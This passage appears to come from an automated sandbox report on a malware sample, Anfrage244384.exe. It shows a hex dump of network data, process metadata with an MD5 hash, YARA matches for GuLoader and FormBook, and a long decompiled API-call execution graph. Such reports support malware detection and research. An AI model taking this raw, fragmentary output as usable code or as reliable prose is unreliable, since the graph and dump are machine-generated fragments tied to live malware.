                                                      2024-11-06 19:48:07 UTC8000INData Raw: 35 9f 4c a6 35 b6 2b 70 8b 28 19 e5 9e be 49 96 90 17 fd f0 25 f5 dc 99 ce 45 fa 8c d4 e3 9c b5 b3 db 2a d2 ed a2 12 ef 5a 50 61 61 0d c0 ec 74 d2 71 6e 13 f0 49 37 fc 2a c1 c8 c1 c3 ff 75 ac c5 79 15 c9 d1 c9 fb 1a cc 4b dd 6a 80 ce 7d 66 17 36 3f 63 87 3d 39 28 87 88 46 2e 9a 4b b5 b9 3f c1 21 57 df bb cb bb ed b8 4a 52 8a 06 47 2b ac 73 89 d1 f5 48 04 c9 6c f8 79 12 68 ca 40 66 7f b1 4b 7c c1 17 38 58 91 a7 e4 dc 56 61 fc 49 5d aa 27 f1 60 7f d6 c6 f6 4d d1 fe 90 5e 6b 3f ab cf af 1e ae 27 a9 25 e1 61 0a b2 ec 06 5d 27 26 89 02 59 04 b9 f6 b1 22 cb e4 0c ae b8 b4 04 32 57 7d c1 18 10 73 16 04 7e 4a 12 0b 40 0b c3 57 43 8e 24 d5 2b 20 7d 39 06 10 83 ee 40 6e 75 51 f9 11 7e dd 19 76 ab 31 65 7f ea 5f 9e 47 3f 73 4d 13 b1 31 79 38 23 17 39 88 b8 90 ba a3
                                                      Data Ascii: 5L5+p(I%E*ZPaatqnI7*uyKj}f6?c=9(F.K?!WJRG+sHlyh@fK|8XVaI]'`M^k?'%a]'&Y"2W}s~J@WC$+ }9@nuQ~v1e_G?sM1y8#9


                                                      Statistics

                                                      CPU Usage

                                                      Click to jump to process

                                                      Memory Usage

                                                      Click to jump to process

                                                      Behavior

                                                      Click to jump to process

                                                      System Behavior

                                                      General

                                                      Target ID:0
                                                      Start time:14:47:24
                                                      Start date:06/11/2024
                                                      Path:C:\Users\user\Desktop\Anfrage244384.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Users\user\Desktop\Anfrage244384.exe"
                                                      Imagebase:0x400000
                                                      File size:1'235'192 bytes
                                                      MD5 hash:7A9799DB14A1D4AF0B38F4B69879A78F
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.2333673755.0000000003E32000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                      Reputation:low
                                                      Has exited:true

                                                      General

                                                      Target ID:3
                                                      Start time:14:47:56
                                                      Start date:06/11/2024
                                                      Path:C:\Users\user\Desktop\Anfrage244384.exe
                                                      Wow64 process (32bit):true
                                                      Commandline:"C:\Users\user\Desktop\Anfrage244384.exe"
                                                      Imagebase:0x400000
                                                      File size:1'235'192 bytes
                                                      MD5 hash:7A9799DB14A1D4AF0B38F4B69879A78F
                                                      Has elevated privileges:true
                                                      Has administrator privileges:true
                                                      Programmed in:C, C++ or other language
                                                      Yara matches:
                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.3110222192.00000000349F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                      Reputation:low
                                                      Has exited:true

                                                      Disassembly

                                                      Reset < >

                                                        Execution Graph

                                                        Execution Coverage:22.8%
                                                        Dynamic/Decrypted Code Coverage:14.3%
                                                        Signature Coverage:21.5%
                                                        Total number of Nodes:1472
                                                        Total number of Limit Nodes:46
                                                        execution_graph 4730 10001000 4733 1000101b 4730->4733 4740 100014bb 4733->4740 4735 10001020 4736 10001024 4735->4736 4737 10001027 GlobalAlloc 4735->4737 4738 100014e2 3 API calls 4736->4738 4737->4736 4739 10001019 4738->4739 4742 100014c1 4740->4742 4741 100014c7 4741->4735 4742->4741 4743 100014d3 GlobalFree 4742->4743 4743->4735 4744 402241 4745 402ace 18 API calls 4744->4745 4746 402247 4745->4746 4747 402ace 18 API calls 4746->4747 4748 402250 4747->4748 4749 402ace 18 API calls 4748->4749 4750 402259 4749->4750 4751 4060c7 2 API calls 4750->4751 4752 402262 4751->4752 4753 402273 lstrlenA lstrlenA 4752->4753 4757 402266 4752->4757 4755 404fdc 25 API calls 4753->4755 4754 404fdc 25 API calls 4758 40226e 4754->4758 4756 4022af SHFileOperationA 4755->4756 4756->4757 4756->4758 4757->4754 4759 4022c3 4760 4022ca 4759->4760 4762 4022dd 4759->4762 4761 405de5 18 API calls 4760->4761 4763 4022d7 4761->4763 4764 4055b9 MessageBoxIndirectA 4763->4764 4764->4762 4162 401746 4163 402ace 18 API calls 4162->4163 4164 40174d 4163->4164 4165 405a65 2 API calls 4164->4165 4166 401754 4165->4166 4167 405a65 2 API calls 4166->4167 4167->4166 4765 4026c7 4766 4026cd 4765->4766 4767 4026d5 FindClose 4766->4767 4768 40295e 4766->4768 4767->4768 4769 401947 4770 402ace 18 API calls 4769->4770 4771 40194e lstrlenA 4770->4771 4772 40258a 4771->4772 4773 402749 4774 402ace 18 API calls 4773->4774 4775 402757 4774->4775 4776 40276d 4775->4776 4778 402ace 18 API calls 4775->4778 4777 405a11 2 API calls 4776->4777 4779 402773 4777->4779 4778->4776 4801 405a36 GetFileAttributesA CreateFileA 4779->4801 4781 402780 4782 402823 4781->4782 4783 40278c GlobalAlloc 4781->4783 4786 40282b DeleteFileA 4782->4786 4787 40283e 4782->4787 4784 4027a5 4783->4784 4785 40281a CloseHandle 4783->4785 4802 40315b SetFilePointer 4784->4802 4785->4782 4786->4787 4789 4027ab 4790 403145 ReadFile 4789->4790 4791 4027b4 GlobalAlloc 4790->4791 4792 4027c4 4791->4792 4793 4027f8 4791->4793 4795 402f33 32 API calls 4792->4795 4794 405add WriteFile 4793->4794 4796 402804 GlobalFree 4794->4796 4798 4027d1 4795->4798 4797 402f33 32 API calls 4796->4797 4800 402817 4797->4800 4799 4027ef GlobalFree 4798->4799 4799->4793 4800->4785 4801->4781 4802->4789 4185 1000270b 4186 1000275b 4185->4186 4187 1000271b VirtualProtect 4185->4187 4187->4186 4806 1000180d 4807 10001830 4806->4807 4808 10001860 GlobalFree 4807->4808 4809 10001872 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z __allrem 4807->4809 4808->4809 4810 10001266 2 API calls 4809->4810 4811 100019e3 GlobalFree GlobalFree 4810->4811 4812 4020cd 4813 402ace 18 API calls 4812->4813 4814 4020d4 4813->4814 4815 402ace 18 API calls 4814->4815 4816 4020de 4815->4816 4817 402ace 18 API calls 4816->4817 4818 4020e8 4817->4818 4819 402ace 18 API calls 4818->4819 4820 4020f2 4819->4820 4821 402ace 18 API calls 4820->4821 4822 4020fc 4821->4822 4823 40213b CoCreateInstance 4822->4823 4824 402ace 18 API calls 4822->4824 4825 402202 4823->4825 4828 40215a 4823->4828 4824->4823 4826 401423 25 API calls 4825->4826 4827 402238 4825->4827 4826->4827 4828->4825 4829 4021e2 MultiByteToWideChar 4828->4829 4829->4825 4198 404f50 4199 404f60 4198->4199 4200 404f74 4198->4200 4201 404f66 4199->4201 4202 404fbd 4199->4202 4203 404f7c IsWindowVisible 4200->4203 4209 404f9c 4200->4209 4205 403ff4 SendMessageA 4201->4205 4204 404fc2 CallWindowProcA 4202->4204 4203->4202 4206 404f89 4203->4206 4207 404f70 4204->4207 4205->4207 4212 4048a7 SendMessageA 4206->4212 4209->4204 4217 404927 4209->4217 4213 404906 SendMessageA 4212->4213 4214 4048ca GetMessagePos ScreenToClient SendMessageA 4212->4214 4216 4048fe 4213->4216 4215 404903 4214->4215 4214->4216 4215->4213 4216->4209 4226 405dc3 lstrcpynA 4217->4226 4219 40493a 4227 405d21 wsprintfA 4219->4227 4221 404944 4222 40140b 2 API calls 4221->4222 4223 40494d 4222->4223 4228 405dc3 lstrcpynA 4223->4228 4225 404954 4225->4202 4226->4219 4227->4221 4228->4225 4830 4028d2 4831 402aac 18 API calls 4830->4831 4832 4028d8 4831->4832 4833 40290d 4832->4833 4834 402729 4832->4834 4836 4028ea 4832->4836 4833->4834 4835 405de5 18 API calls 4833->4835 4835->4834 4836->4834 4838 405d21 wsprintfA 4836->4838 4838->4834 4245 4023d3 4246 4023d9 4245->4246 4247 402ace 18 API calls 4246->4247 4248 4023eb 4247->4248 4249 402ace 18 API calls 4248->4249 4250 4023f5 RegCreateKeyExA 4249->4250 4251 402729 4250->4251 4252 40241f 4250->4252 4253 402437 4252->4253 4255 402ace 18 API calls 4252->4255 4254 402443 4253->4254 4256 402aac 18 API calls 4253->4256 4257 402462 RegSetValueExA 4254->4257 4259 402f33 32 API calls 4254->4259 4258 402430 lstrlenA 4255->4258 4256->4254 4260 402478 RegCloseKey 4257->4260 4258->4253 4259->4257 4260->4251 4839 401cd4 4840 402aac 18 API calls 4839->4840 4841 401cda IsWindow 4840->4841 4842 401a0e 4841->4842 4262 403ad5 4263 403c28 4262->4263 4264 403aed 4262->4264 4266 403c79 4263->4266 4267 403c39 GetDlgItem GetDlgItem 4263->4267 4264->4263 4265 403af9 4264->4265 4269 403b04 SetWindowPos 4265->4269 4270 403b17 4265->4270 4268 403cd3 4266->4268 4279 401389 2 API calls 4266->4279 4271 403fa8 19 API calls 4267->4271 4272 403ff4 SendMessageA 4268->4272 4295 403c23 4268->4295 4269->4270 4273 403b34 4270->4273 4274 403b1c ShowWindow 4270->4274 4275 403c63 SetClassLongA 4271->4275 4306 403ce5 4272->4306 4276 403b56 4273->4276 4277 403b3c DestroyWindow 4273->4277 4274->4273 4278 40140b 2 API calls 4275->4278 4281 403b5b SetWindowLongA 4276->4281 4282 403b6c 4276->4282 4280 403f52 4277->4280 4278->4266 4283 403cab 4279->4283 4292 403f62 ShowWindow 4280->4292 4280->4295 4281->4295 4284 403c15 4282->4284 4285 403b78 GetDlgItem 4282->4285 4283->4268 4286 403caf SendMessageA 4283->4286 4342 40400f 4284->4342 4289 403ba8 4285->4289 4290 403b8b SendMessageA IsWindowEnabled 4285->4290 4286->4295 4287 40140b 2 API calls 4287->4306 4288 403f33 DestroyWindow EndDialog 4288->4280 4294 403bad 4289->4294 4296 403bb5 4289->4296 4298 403bfc SendMessageA 4289->4298 4299 403bc8 4289->4299 4290->4289 4290->4295 4292->4295 4293 405de5 18 API calls 4293->4306 4339 403f81 4294->4339 4296->4294 4296->4298 4298->4284 4301 403bd0 4299->4301 4302 403be5 4299->4302 4300 403be3 4300->4284 4305 40140b 2 API calls 4301->4305 4304 40140b 2 API calls 4302->4304 4303 403fa8 19 API calls 4303->4306 4307 403bec 4304->4307 4305->4294 4306->4287 4306->4288 4306->4293 4306->4295 4306->4303 4323 403e73 DestroyWindow 4306->4323 4333 403fa8 4306->4333 4307->4284 4307->4294 4309 403d60 GetDlgItem 4310 403d75 4309->4310 4311 403d7d ShowWindow KiUserCallbackDispatcher 4309->4311 4310->4311 4336 403fca EnableWindow 4311->4336 4313 403da7 EnableWindow 4316 403dbb 4313->4316 4314 403dc0 GetSystemMenu EnableMenuItem SendMessageA 4315 403df0 SendMessageA 4314->4315 4314->4316 4315->4316 4316->4314 4337 403fdd SendMessageA 4316->4337 4338 405dc3 lstrcpynA 4316->4338 4319 403e1e lstrlenA 4320 405de5 18 API calls 4319->4320 4321 403e2f SetWindowTextA 4320->4321 4322 401389 2 API calls 4321->4322 4322->4306 4323->4280 4324 403e8d CreateDialogParamA 4323->4324 4324->4280 4325 403ec0 4324->4325 4326 403fa8 19 API calls 4325->4326 4327 403ecb GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4326->4327 4328 401389 2 API calls 4327->4328 4329 403f11 4328->4329 4329->4295 4330 403f19 ShowWindow 4329->4330 4331 403ff4 SendMessageA 4330->4331 4332 403f31 4331->4332 4332->4280 4334 405de5 18 API calls 4333->4334 4335 403fb3 SetDlgItemTextA 4334->4335 4335->4309 4336->4313 4337->4316 4338->4319 4340 403f88 4339->4340 4341 403f8e SendMessageA 4339->4341 4340->4341 4341->4300 4343 4040b0 4342->4343 4344 404027 GetWindowLongA 4342->4344 4343->4295 4344->4343 4345 404038 4344->4345 4346 404047 GetSysColor 4345->4346 4347 40404a 4345->4347 4346->4347 4348 404050 SetTextColor 4347->4348 4349 40405a SetBkMode 4347->4349 4348->4349 4350 404072 GetSysColor 4349->4350 4351 404078 4349->4351 4350->4351 4352 404089 4351->4352 4353 40407f SetBkColor 4351->4353 4352->4343 4354 4040a3 CreateBrushIndirect 4352->4354 4355 40409c DeleteObject 4352->4355 4353->4352 4354->4343 4355->4354 4843 4014d6 4844 402aac 18 API calls 4843->4844 4845 4014dc Sleep 4844->4845 4847 40295e 4845->4847 4375 4025d7 4376 402aac 18 API calls 4375->4376 4381 4025e1 4376->4381 4377 40264f 4378 405aae ReadFile 4378->4381 4379 402651 4384 405d21 wsprintfA 4379->4384 4380 402661 4380->4377 4383 402677 SetFilePointer 4380->4383 4381->4377 4381->4378 4381->4379 4381->4380 4383->4377 4384->4377 4408 404959 GetDlgItem GetDlgItem 4409 4049ab 7 API calls 4408->4409 4416 404bc3 4408->4416 4410 404a41 SendMessageA 4409->4410 4411 404a4e DeleteObject 4409->4411 4410->4411 4412 404a57 4411->4412 4414 404a8e 4412->4414 4415 405de5 18 API calls 4412->4415 4413 404ca7 4419 404d53 4413->4419 4425 404f3b 4413->4425 4430 404d00 SendMessageA 4413->4430 4418 403fa8 19 API calls 4414->4418 4420 404a70 SendMessageA SendMessageA 4415->4420 4416->4413 4417 404c88 4416->4417 4423 404c23 4416->4423 4417->4413 4427 404c99 SendMessageA 4417->4427 4424 404aa2 4418->4424 4421 404d65 4419->4421 4422 404d5d SendMessageA 4419->4422 4420->4412 4432 404d77 ImageList_Destroy 4421->4432 4433 404d7e 4421->4433 4449 404d8e 4421->4449 4422->4421 4428 4048a7 5 API calls 4423->4428 4429 403fa8 19 API calls 4424->4429 4426 40400f 8 API calls 4425->4426 4431 404f49 4426->4431 4427->4413 4454 404c34 4428->4454 4434 404ab0 4429->4434 4430->4425 4436 404d15 SendMessageA 4430->4436 4432->4433 4437 404d87 GlobalFree 4433->4437 4433->4449 4438 404b84 GetWindowLongA SetWindowLongA 4434->4438 4445 404b7e 4434->4445 4448 404aff SendMessageA 4434->4448 4450 404b3b SendMessageA 4434->4450 4451 404b4c SendMessageA 4434->4451 4435 404efd 4435->4425 4440 404f0f ShowWindow GetDlgItem ShowWindow 4435->4440 4439 404d28 4436->4439 4437->4449 4441 404b9d 4438->4441 4444 404d39 SendMessageA 4439->4444 4440->4425 4442 404ba3 ShowWindow 4441->4442 4443 404bbb 4441->4443 4463 403fdd SendMessageA 4442->4463 4464 403fdd SendMessageA 4443->4464 4444->4419 4445->4438 4445->4441 4448->4434 4449->4435 4452 404927 4 API calls 4449->4452 4459 404dc9 4449->4459 4450->4434 4451->4434 4452->4459 4453 404bb6 4453->4425 4454->4417 4455 404ed3 InvalidateRect 4455->4435 4456 404ee9 4455->4456 4465 404862 4456->4465 4457 404df7 SendMessageA 4458 404e0d 4457->4458 4458->4455 4460 404e6e 4458->4460 4462 404e81 SendMessageA SendMessageA 4458->4462 4459->4457 4459->4458 4460->4462 4462->4458 4463->4453 4464->4416 4468 40479d 4465->4468 4467 404877 4467->4435 4469 4047b3 4468->4469 4470 405de5 18 API calls 4469->4470 4471 404817 4470->4471 4472 405de5 18 API calls 4471->4472 4473 404822 4472->4473 4474 405de5 18 API calls 4473->4474 4475 404838 lstrlenA wsprintfA SetDlgItemTextA 4474->4475 4475->4467 4476 401759 4477 402ace 18 API calls 4476->4477 4478 401760 4477->4478 4479 401786 4478->4479 4480 40177e 4478->4480 4517 405dc3 lstrcpynA 4479->4517 4516 405dc3 lstrcpynA 4480->4516 4483 401784 4487 40602e 5 API calls 4483->4487 4484 401791 4485 405835 3 API calls 4484->4485 4486 401797 lstrcatA 4485->4486 4486->4483 4509 4017a3 4487->4509 4488 4060c7 2 API calls 4488->4509 4489 4017e4 4490 405a11 2 API calls 4489->4490 4490->4509 4492 4017ba CompareFileTime 4492->4509 4493 40187e 4495 404fdc 25 API calls 4493->4495 4494 401855 4496 404fdc 25 API calls 4494->4496 4503 40186a 4494->4503 4497 401888 4495->4497 4496->4503 4498 402f33 32 API calls 4497->4498 4499 40189b 4498->4499 4500 4018af SetFileTime 4499->4500 4502 4018c1 CloseHandle 4499->4502 4500->4502 4501 405de5 18 API calls 4501->4509 4502->4503 4504 4018d2 4502->4504 4506 4018d7 4504->4506 4507 4018ea 4504->4507 4505 405dc3 lstrcpynA 4505->4509 4510 405de5 18 API calls 4506->4510 4508 405de5 18 API calls 4507->4508 4511 4018f2 4508->4511 4509->4488 4509->4489 4509->4492 4509->4493 4509->4494 4509->4501 4509->4505 4512 4055b9 MessageBoxIndirectA 4509->4512 4515 405a36 GetFileAttributesA CreateFileA 4509->4515 4513 4018df lstrcatA 4510->4513 4514 4055b9 MessageBoxIndirectA 4511->4514 4512->4509 4513->4511 4514->4503 4515->4509 4516->4483 4517->4484 4848 401659 4849 402ace 18 API calls 4848->4849 4850 40165f 4849->4850 4851 4060c7 2 API calls 4850->4851 4852 401665 4851->4852 4853 401e59 4854 402ace 18 API calls 4853->4854 4855 401e5f 4854->4855 4856 402ace 18 API calls 4855->4856 4857 401e68 4856->4857 4858 402ace 18 API calls 4857->4858 4859 401e71 4858->4859 4860 402ace 18 API calls 4859->4860 4861 401e7a 4860->4861 4862 401423 25 API calls 4861->4862 4863 401e81 ShellExecuteA 4862->4863 4864 401eae 4863->4864 4865 401959 4866 402aac 18 API calls 4865->4866 4867 401960 4866->4867 4868 402aac 18 API calls 4867->4868 4869 40196d 4868->4869 4870 402ace 18 API calls 4869->4870 4871 401984 lstrlenA 4870->4871 4872 401994 4871->4872 4873 4019d4 4872->4873 4877 405dc3 lstrcpynA 4872->4877 4875 4019c4 4875->4873 4876 4019c9 lstrlenA 4875->4876 4876->4873 4877->4875 4878 1000161a 4879 10001649 4878->4879 4880 10001a5d 18 API calls 4879->4880 4881 10001650 4880->4881 4882 10001663 4881->4882 4883 10001657 4881->4883 4885 1000168a 4882->4885 4886 1000166d 4882->4886 4884 10001266 2 API calls 4883->4884 4889 10001661 4884->4889 4887 10001690 4885->4887 4888 100016b4 4885->4888 4890 100014e2 3 API calls 4886->4890 4891 10001559 3 API calls 4887->4891 4892 100014e2 3 API calls 4888->4892 4893 10001672 4890->4893 4894 10001695 4891->4894 4892->4889 4895 10001559 3 API calls 4893->4895 4896 10001266 2 API calls 4894->4896 4897 10001678 4895->4897 4899 1000169b GlobalFree 4896->4899 4898 10001266 2 API calls 4897->4898 4900 1000167e GlobalFree 4898->4900 4899->4889 4901 100016af GlobalFree 4899->4901 4900->4889 4901->4889 4902 401b5d 4903 401b6a 4902->4903 4904 401bae 4902->4904 4910 401bf2 4903->4910 4911 401b81 4903->4911 4905 401bd7 GlobalAlloc 4904->4905 4908 401bb2 4904->4908 4906 405de5 18 API calls 4905->4906 4906->4910 4907 405de5 18 API calls 4912 4022d7 4907->4912 4916 4022dd 4908->4916 4923 405dc3 lstrcpynA 4908->4923 4910->4907 4910->4916 4921 405dc3 lstrcpynA 4911->4921 4915 4055b9 MessageBoxIndirectA 4912->4915 4913 401bc4 GlobalFree 4913->4916 4915->4916 4917 401b90 4922 405dc3 lstrcpynA 4917->4922 4919 401b9f 4924 405dc3 lstrcpynA 4919->4924 4921->4917 4922->4919 4923->4913 4924->4916 4925 401f5d 4926 402ace 18 API calls 4925->4926 4927 401f64 4926->4927 4928 40615c 5 API calls 4927->4928 4929 401f73 4928->4929 4930 401f8b GlobalAlloc 4929->4930 4933 401ff3 4929->4933 4931 401f9f 4930->4931 4930->4933 4932 40615c 5 API calls 4931->4932 4934 401fa6 4932->4934 4935 40615c 5 API calls 4934->4935 4936 401fb0 4935->4936 4936->4933 4940 405d21 wsprintfA 4936->4940 4938 401fe7 4941 405d21 wsprintfA 4938->4941 4940->4938 4941->4933 4942 401a5e 4943 402aac 18 API calls 4942->4943 4944 401a64 4943->4944 4945 402aac 18 API calls 4944->4945 4946 401a0e 4945->4946 4947 4026e1 4948 4026e7 4947->4948 4949 4026eb FindNextFileA 4948->4949 4951 4026fd 4948->4951 4950 40273c 4949->4950 4949->4951 4953 405dc3 lstrcpynA 4950->4953 4953->4951 4954 4043e6 4955 404412 4954->4955 4956 404423 4954->4956 5015 40559d GetDlgItemTextA 4955->5015 4958 40442f GetDlgItem 4956->4958 4965 40448e 4956->4965 4961 404443 4958->4961 4959 404572 4964 40471c 4959->4964 5017 40559d GetDlgItemTextA 4959->5017 4960 40441d 4962 40602e 5 API calls 4960->4962 4963 404457 SetWindowTextA 4961->4963 4967 4058ce 4 API calls 4961->4967 4962->4956 4968 403fa8 19 API calls 4963->4968 4971 40400f 8 API calls 4964->4971 4965->4959 4965->4964 4969 405de5 18 API calls 4965->4969 4973 40444d 4967->4973 4974 404473 4968->4974 4975 404502 SHBrowseForFolderA 4969->4975 4970 4045a2 4976 405923 18 API calls 4970->4976 4972 404730 4971->4972 4973->4963 4980 405835 3 API calls 4973->4980 4977 403fa8 19 API calls 4974->4977 4975->4959 4978 40451a CoTaskMemFree 4975->4978 4979 4045a8 4976->4979 4981 404481 4977->4981 4982 405835 3 API calls 4978->4982 5018 405dc3 lstrcpynA 4979->5018 4980->4963 5016 403fdd SendMessageA 4981->5016 4984 404527 4982->4984 4987 40455e SetDlgItemTextA 4984->4987 4991 405de5 18 API calls 4984->4991 4986 404487 4989 40615c 5 API calls 4986->4989 4987->4959 4988 4045bf 4990 40615c 5 API calls 4988->4990 4989->4965 4997 4045c6 4990->4997 4992 404546 lstrcmpiA 4991->4992 4992->4987 4995 404557 lstrcatA 4992->4995 4993 404602 5019 405dc3 lstrcpynA 4993->5019 4995->4987 4996 404609 4998 4058ce 4 API calls 4996->4998 4997->4993 5001 40587c 2 API calls 4997->5001 5003 40465a 4997->5003 4999 40460f GetDiskFreeSpaceA 4998->4999 5002 404633 MulDiv 4999->5002 4999->5003 5001->4997 5002->5003 5004 4046cb 5003->5004 5006 404862 21 API calls 5003->5006 5005 4046ee 5004->5005 5007 40140b 2 API calls 5004->5007 5020 403fca EnableWindow 5005->5020 5008 4046b8 5006->5008 5007->5005 5010 4046cd SetDlgItemTextA 5008->5010 5011 4046bd 5008->5011 5010->5004 5013 40479d 21 API calls 5011->5013 5012 40470a 5012->4964 5021 40437b 5012->5021 5013->5004 5015->4960 5016->4986 5017->4970 5018->4988 5019->4996 5020->5012 5022 404389 5021->5022 5023 40438e SendMessageA 5021->5023 5022->5023 5023->4964 4168 40166a 4169 402ace 18 API calls 4168->4169 4170 401671 4169->4170 4171 402ace 18 API calls 4170->4171 4172 40167a 4171->4172 4173 402ace 18 API calls 4172->4173 4174 401683 MoveFileA 4173->4174 4175 401696 4174->4175 4181 40168f 4174->4181 4177 4060c7 2 API calls 4175->4177 4179 402238 4175->4179 4178 4016a5 4177->4178 4178->4179 4180 405c7e 38 API calls 4178->4180 4180->4181 4182 401423 4181->4182 4183 404fdc 25 API calls 4182->4183 4184 401431 4183->4184 4184->4179 5024 4019ed 5025 402ace 18 API calls 5024->5025 5026 4019f4 5025->5026 5027 402ace 18 API calls 5026->5027 5028 4019fd 5027->5028 5029 401a04 lstrcmpiA 5028->5029 5030 401a16 lstrcmpA 5028->5030 5031 401a0a 5029->5031 5030->5031 5032 40256e 5033 402ace 18 API calls 5032->5033 5034 402575 5033->5034 5037 405a36 GetFileAttributesA CreateFileA 5034->5037 5036 402581 5037->5036 5038 4040f1 5039 404107 5038->5039 5043 404213 5038->5043 5041 403fa8 19 API calls 5039->5041 5040 404282 5042 40428c GetDlgItem 5040->5042 5044 404356 5040->5044 5045 40415d 5041->5045 5046 4042a2 5042->5046 5047 404314 5042->5047 5043->5040 5043->5044 5048 404257 GetDlgItem SendMessageA 5043->5048 5049 40400f 8 API calls 5044->5049 5050 403fa8 19 API calls 5045->5050 5046->5047 5055 4042c8 6 API calls 5046->5055 5047->5044 5051 404326 5047->5051 5069 403fca EnableWindow 5048->5069 5053 404351 5049->5053 5054 40416a CheckDlgButton 5050->5054 5056 40432c SendMessageA 5051->5056 5057 40433d 5051->5057 5067 403fca EnableWindow 5054->5067 5055->5047 5056->5057 5057->5053 5060 404343 SendMessageA 5057->5060 5058 40427d 5061 40437b SendMessageA 5058->5061 5060->5053 5061->5040 5062 404188 GetDlgItem 5068 403fdd SendMessageA 5062->5068 5064 40419e SendMessageA 5065 4041c5 SendMessageA SendMessageA lstrlenA SendMessageA SendMessageA 5064->5065 5066 4041bc GetSysColor 5064->5066 5065->5053 5066->5065 5067->5062 5068->5064 5069->5058 4229 4022f2 4230 4022fa 4229->4230 4235 402300 4229->4235 4231 402ace 18 API calls 4230->4231 4231->4235 4232 402ace 18 API calls 4234 402310 4232->4234 4233 40231e 4237 402ace 18 API calls 4233->4237 4234->4233 4236 402ace 18 API calls 4234->4236 4235->4232 4235->4234 4236->4233 4238 402327 WritePrivateProfileStringA 4237->4238 5070 100015b3 5071 100014bb GlobalFree 5070->5071 5073 100015cb 5071->5073 5072 10001611 GlobalFree 5073->5072 5074 100015e6 5073->5074 5075 100015fd VirtualFree 5073->5075 5074->5072 5075->5072 5076 4014f4 SetForegroundWindow 5077 40295e 5076->5077 4356 4024f5 4357 402bd8 19 API calls 4356->4357 4358 4024ff 4357->4358 4359 402aac 18 API calls 4358->4359 4360 402508 4359->4360 4361 402523 RegEnumKeyA 4360->4361 4362 40252f RegEnumValueA 4360->4362 4364 402729 4360->4364 4363 402548 RegCloseKey 4361->4363 4362->4363 4362->4364 4363->4364 5078 401cf5 5079 402aac 18 API calls 5078->5079 5080 401cfc 5079->5080 5081 402aac 18 API calls 5080->5081 5082 401d08 GetDlgItem 5081->5082 5083 40258a 5082->5083 4385 402377 4386 4023a7 4385->4386 4387 40237c 4385->4387 4389 402ace 18 API calls 4386->4389 4388 402bd8 19 API calls 4387->4388 4390 402383 4388->4390 4391 4023ae 4389->4391 4392 40238d 4390->4392 4396 4023c4 4390->4396 4397 402b0e RegOpenKeyExA 4391->4397 4393 402ace 18 API calls 4392->4393 4395 402394 RegDeleteValueA RegCloseKey 4393->4395 4395->4396 4398 402ba2 4397->4398 4406 402b39 4397->4406 4398->4396 4399 402b5f RegEnumKeyA 4400 402b71 RegCloseKey 4399->4400 4399->4406 4401 40615c 5 API calls 4400->4401 4404 402b81 4401->4404 4402 402b96 RegCloseKey 4405 402b85 4402->4405 4403 402b0e 5 API calls 4403->4406 4404->4405 4407 402bb1 RegDeleteKeyA 4404->4407 4405->4398 4406->4399 4406->4400 4406->4402 4406->4403 4407->4405 5084 1000103d 5085 1000101b 5 API calls 5084->5085 5086 10001056 5085->5086 5087 4018fd 5088 401934 5087->5088 5089 402ace 18 API calls 5088->5089 5090 401939 5089->5090 5091 405665 69 API calls 5090->5091 5092 401942 5091->5092 4548 401fff 4549 402011 4548->4549 4550 4020bf 4548->4550 4551 402ace 18 API calls 4549->4551 4552 401423 25 API calls 4550->4552 4553 402018 4551->4553 4558 402238 4552->4558 4554 402ace 18 API calls 4553->4554 4555 402021 4554->4555 4556 402036 LoadLibraryExA 4555->4556 4557 402029 GetModuleHandleA 4555->4557 4556->4550 4559 402046 GetProcAddress 4556->4559 4557->4556 4557->4559 4560 402092 4559->4560 4561 402055 4559->4561 4564 404fdc 25 API calls 4560->4564 4562 402074 4561->4562 4563 40205d 4561->4563 4569 100016bd 4562->4569 4565 401423 25 API calls 4563->4565 4566 402065 4564->4566 4565->4566 4566->4558 4567 4020b3 FreeLibrary 4566->4567 4567->4558 4570 100016ed 4569->4570 4611 10001a5d 4570->4611 4572 100016f4 4573 1000180a 4572->4573 4574 10001705 4572->4574 4575 1000170c 4572->4575 4573->4566 4660 100021b0 4574->4660 4643 100021fa 4575->4643 4580 10001770 4584 100017b2 4580->4584 4585 10001776 4580->4585 4581 10001752 4673 100023da 4581->4673 4582 10001722 4587 10001728 4582->4587 4592 10001733 4582->4592 4583 1000173b 4594 10001731 4583->4594 4670 10002aa3 4583->4670 4590 100023da 11 API calls 4584->4590 4588 10001559 3 API calls 4585->4588 4587->4594 4654 100027e8 4587->4654 4596 1000178c 4588->4596 4601 100017a4 4590->4601 4591 10001758 4684 10001559 4591->4684 4664 10002589 4592->4664 4594->4580 4594->4581 4599 100023da 11 API calls 4596->4599 4598 10001739 4598->4594 4599->4601 4602 100017f9 4601->4602 4695 100023a0 4601->4695 4602->4573 4605 10001803 GlobalFree 4602->4605 4605->4573 4608 100017e5 4608->4602 4699 100014e2 wsprintfA 4608->4699 4609 100017de FreeLibrary 4609->4608 4702 10001215 GlobalAlloc 4611->4702 4613 10001a81 4703 10001215 GlobalAlloc 4613->4703 4615 10001cbb GlobalFree GlobalFree GlobalFree 4616 10001cd8 4615->4616 4635 10001d22 4615->4635 4617 1000201a 4616->4617 4625 10001ced 4616->4625 4616->4635 4619 1000203c GetModuleHandleA 4617->4619 4617->4635 4618 10001b60 GlobalAlloc 4639 10001a8c 4618->4639 4622 10002062 4619->4622 4623 1000204d LoadLibraryA 4619->4623 4620 10001bab lstrcpyA 4626 10001bb5 lstrcpyA 4620->4626 4621 10001bc9 GlobalFree 4621->4639 4710 100015a4 GetProcAddress 4622->4710 4623->4622 4623->4635 4625->4635 4706 10001224 4625->4706 4626->4639 4627 100020b3 4629 100020c0 lstrlenA 4627->4629 4627->4635 4628 10001f7a 4634 10001fbe lstrcpyA 4628->4634 4628->4635 4711 100015a4 GetProcAddress 4629->4711 4631 10002074 4631->4627 4642 1000209d GetProcAddress 4631->4642 4634->4635 4635->4572 4636 10001c07 4636->4639 4704 10001534 GlobalSize GlobalAlloc 4636->4704 4637 10001e75 GlobalFree 4637->4639 4638 100020d9 4638->4635 4639->4615 4639->4618 4639->4620 4639->4621 4639->4626 4639->4628 4639->4635 4639->4636 4639->4637 